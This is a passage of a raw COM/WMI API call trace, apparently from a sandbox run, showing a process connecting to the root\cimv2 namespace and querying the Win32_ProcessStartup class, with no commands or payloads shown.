[0163.056] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93d30, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0163.056] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0163.056] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0163.056] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.057] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0163.057] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0163.057] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0163.058] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.062] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bce79e0) returned 0x0 [0163.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce79e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0163.134] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce79e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc958f0) returned 0x0 [0163.135] WbemDefPath:IUnknown:Release (This=0x1bce79e0) returned 0x0 [0163.135] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc958f0) returned 0x0 [0163.135] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0163.135] WbemDefPath:IUnknown:AddRef (This=0x1bc958f0) returned 0x3 [0163.135] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0163.135] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0163.135] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bce6240) returned 0x0 [0163.135] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6240, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.135] WbemDefPath:IUnknown:Release (This=0x1bce6240) returned 0x3 [0163.135] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0163.136] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0163.136] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0163.136] WbemDefPath:IUnknown:Release (This=0x1bc958f0) returned 0x2 [0163.136] WbemDefPath:IUnknown:Release (This=0x1bc958f0) returned 0x1 [0163.136] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0163.136] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0163.136] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc958f0) returned 0x0 [0163.136] WbemDefPath:IUnknown:AddRef (This=0x1bc958f0) returned 0x3 [0163.136] WbemDefPath:IUnknown:Release (This=0x1bc958f0) returned 0x2 [0163.136] WbemDefPath:IWbemPath:SetText (This=0x1bc958f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0163.136] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc958f0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0163.136] WbemDefPath:IWbemPath:GetText (in: This=0x1bc958f0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0163.136] WbemDefPath:IWbemPath:GetText (in: This=0x1bc958f0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.136] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0163.136] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0163.136] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0163.137] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.138] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bce7060) returned 0x0 [0163.138] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7060, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0163.138] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bce7060, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bbf1a80) returned 0x0 [0163.138] WbemLocator:IUnknown:Release (This=0x1bce7060) returned 0x0 [0163.138] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1a80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bbf1a80) returned 0x0 [0163.139] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1a80, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0163.139] WbemLocator:IUnknown:AddRef (This=0x1bbf1a80) returned 0x3 [0163.139] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1a80, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0163.139] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1a80, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0163.139] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1a80, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0163.139] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0163.139] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0163.139] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1a80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0163.139] WbemLocator:IUnknown:Release (This=0x1bbf1a80) returned 0x2 [0163.139] WbemLocator:IUnknown:Release (This=0x1bbf1a80) returned 0x1 [0163.139] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0163.139] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0163.140] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1a80, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bbf1a80) returned 0x0 [0163.140] WbemLocator:IUnknown:AddRef (This=0x1bbf1a80) returned 0x3 [0163.140] WbemLocator:IUnknown:Release (This=0x1bbf1a80) returned 0x2 [0163.140] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc958f0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0163.140] WbemDefPath:IWbemPath:GetText (in: This=0x1bc958f0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0163.140] WbemDefPath:IWbemPath:GetText (in: This=0x1bc958f0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.140] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bbf1aa0) returned 0x0 [0163.140] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbf1aa0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc36840) returned 0x0 [0163.328] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36840, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc43760) returned 0x0 [0163.328] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc43760, pProxy=0x1bc36840, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0163.328] WbemLocator:IUnknown:Release (This=0x1bc43760) returned 0x1 [0163.328] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36840, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc437a0) returned 0x0 [0163.328] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36840, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc43760) returned 0x0 [0163.328] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc43760, pProxy=0x1bc36840, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0163.329] WbemLocator:IUnknown:Release (This=0x1bc43760) returned 0x2 [0163.329] WbemLocator:IUnknown:Release (This=0x1bc437a0) returned 0x1 [0163.329] CoTaskMemFree (pv=0x1bc1a220) [0163.329] WbemLocator:IUnknown:AddRef (This=0x1bc36840) returned 0x2 [0163.329] WbemLocator:IUnknown:Release (This=0x1bbf1aa0) returned 0x0 [0163.329] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0163.329] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0163.329] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36840, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc43770) returned 0x0 [0163.329] WbemLocator:IRpcOptions:Query (in: This=0x1bc43770, pPrx=0x1bbf1b60, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0163.329] WbemLocator:IUnknown:Release (This=0x1bc43770) returned 0x2 [0163.330] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0163.330] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0163.330] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36840, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc36840) returned 0x0 [0163.330] WbemLocator:IUnknown:Release (This=0x1bc36840) returned 0x2 [0163.330] SysStringLen (param_1=0x0) returned 0x0 [0163.330] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0163.330] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0163.330] IWbemServices:GetObject (in: This=0x1bc36840, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bb94520, ppCallResult=0x0) returned 0x0 [0163.332] IWbemClassObject:Get (in: This=0x1bb94520, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0163.332] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0163.332] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0163.332] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0163.332] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0163.332] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0163.332] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.334] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bbf1aa0) returned 0x0 [0163.334] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1aa0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0163.334] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1aa0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc95830) returned 0x0 [0163.334] WbemDefPath:IUnknown:Release (This=0x1bbf1aa0) returned 0x0 [0163.334] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc95830) returned 0x0 [0163.334] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0163.334] WbemDefPath:IUnknown:AddRef (This=0x1bc95830) returned 0x3 [0163.334] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0163.334] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0163.334] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bbf1b80) returned 0x0 [0163.334] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1b80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.334] WbemDefPath:IUnknown:Release (This=0x1bbf1b80) returned 0x3 [0163.334] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0163.335] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0163.335] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0163.335] WbemDefPath:IUnknown:Release (This=0x1bc95830) returned 0x2 [0163.335] WbemDefPath:IUnknown:Release (This=0x1bc95830) returned 0x1 [0163.335] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0163.335] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0163.335] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95830, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc95830) returned 0x0 [0163.335] WbemDefPath:IUnknown:AddRef (This=0x1bc95830) returned 0x3 [0163.335] WbemDefPath:IUnknown:Release (This=0x1bc95830) returned 0x2 [0163.335] WbemDefPath:IWbemPath:SetText (This=0x1bc95830, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0163.335] IWbemClassObject:Get (in: This=0x1bb94520, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e6170*=0, plFlavor=0x27e6174*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e6170*=19, plFlavor=0x27e6174*=0) 